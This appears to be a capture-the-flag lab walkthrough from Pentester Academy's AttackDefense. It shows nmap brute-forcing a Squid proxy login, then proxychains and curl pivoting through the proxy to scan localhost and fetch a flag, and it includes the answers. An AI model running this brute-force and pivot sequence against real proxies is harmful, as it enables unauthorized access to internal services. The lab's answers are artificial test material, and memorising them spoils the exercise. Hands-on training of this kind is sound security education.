
ATTACK
DEFENSE
by PentesterAcademy

Name	Squid Recon: Dictionary Attack
URL	https://www.attackdefense.com/challengedetails?cid=524
Type	Network Recon : Proxy Servers

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Q1. Find the username and password of squid proxy user (use /usr/share/nmap/nselib/data/usernames.lst for user wordlist and /usr/share/nmap/nselib/data/passwords.lst for password wordlist).

Answer: admin:laurie

Command: nmap --script http-proxy-brute -p3128 192.142.49.3

```
root@attackdefense:~# nmap --script http-proxy-brute -p3128  192.142.49.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-25 13:42 UTC
Nmap scan report for 4r44vrzmjb2aj2ujvqcd1hk8v.temp-network_a-142-49 (192.142.49.3)
Host is up (0.000074s latency).

PORT     STATE SERVICE
3128/tcp open  squid-http
| http-proxy-brute:
|   Accounts:
|     admin:laurie - Valid credentials
|_  Statistics: Performed 49397 guesses in 35 seconds, average tps: 1755.1
MAC Address: 02:42:C0:8E:31:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 36.16 seconds
root@attackdefense:~#
```

Q2. Find the port on which Apache service is listening locally.

Answer: 1996

Solution:

Configure proxychains:

Comment out the last line and add the following line to "/etc/proxychains" file:
http 192.142.49.3 3128 admin laurie

```
root@attackdefense:~# tail -2 /etc/proxychains.conf
#socks4         127.0.0.1 9050
http 192.142.49.3 3128 admin laurie
root@attackdefense:~#
```

Running nmap scan through squid proxy:

Command: proxychains nmap -sV -sT -p- 127.0.0.1

```
root@attackdefense:~# proxychains nmap -sV -sT -p- 127.0.0.1
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-25 13:48 UTC
|S-chain|-<>-192.142.49.3:3128-<><>-127.0.0.1:199-<--denied
|S-chain|-<>-192.142.49.3:3128-<><>-127.0.0.1:22-<--denied
|S-chain|-<>-192.142.49.3:3128-<><>-127.0.0.1:139-<--denied
|S-chain|-<>-192.142.49.3:3128-<><>-127.0.0.1:3389-<--denied
|S-chain|-<>-192.142.49.3:3128-<><>-127.0.0.1:80-<--denied
|S-chain|-<>-192.142.49.3:3128-<><>-127.0.0.1:25-<--denied
|S-chain|-<>-192.142.49.3:3128-<><>-127.0.0.1:111-<--denied
```

```
|S-chain|-<>-192.142.49.3:3128-<><>-127.0.0.1:3128-<><>-OK
|S-chain|-<>-192.142.49.3:3128-<><>-127.0.0.1:1996-<><>-OK
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00080s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE    VERSION
1996/tcp  open  http       Apache httpd 2.4.18 ((Ubuntu))
3128/tcp  open  http-proxy Squid http proxy 3.5.12
37480/tcp open  tcpwrapped
57368/tcp open  tcpwrapped

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.30 seconds
root@attackdefense:~#
```

Q3. Get the flag from the web server running locally on the proxy server.

Answer: 9fd80e956936a8f0a7c0b756d7aef9b9

Command: curl -x admin:laurie@192.142.49.3:3128 127.0.0.1:1996

```
root@attackdefense:~# curl -x admin:laurie@192.142.49.3:3128 127.0.0.1:1996
9fd80e956936a8f0a7c0b756d7aef9b9
root@attackdefense:~#
```

Command: proxychains curl 127.0.0.1:1996

```
root@attackdefense:~# proxychains curl 127.0.0.1:1996
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-192.142.49.3:3128-<><>-127.0.0.1:1996-<><>-OK
9fd80e956936a8f0a7c0b756d7aef9b9
root@attackdefense:~#
```

References:

1. Squid Proxy (http://www.squid-cache.org/)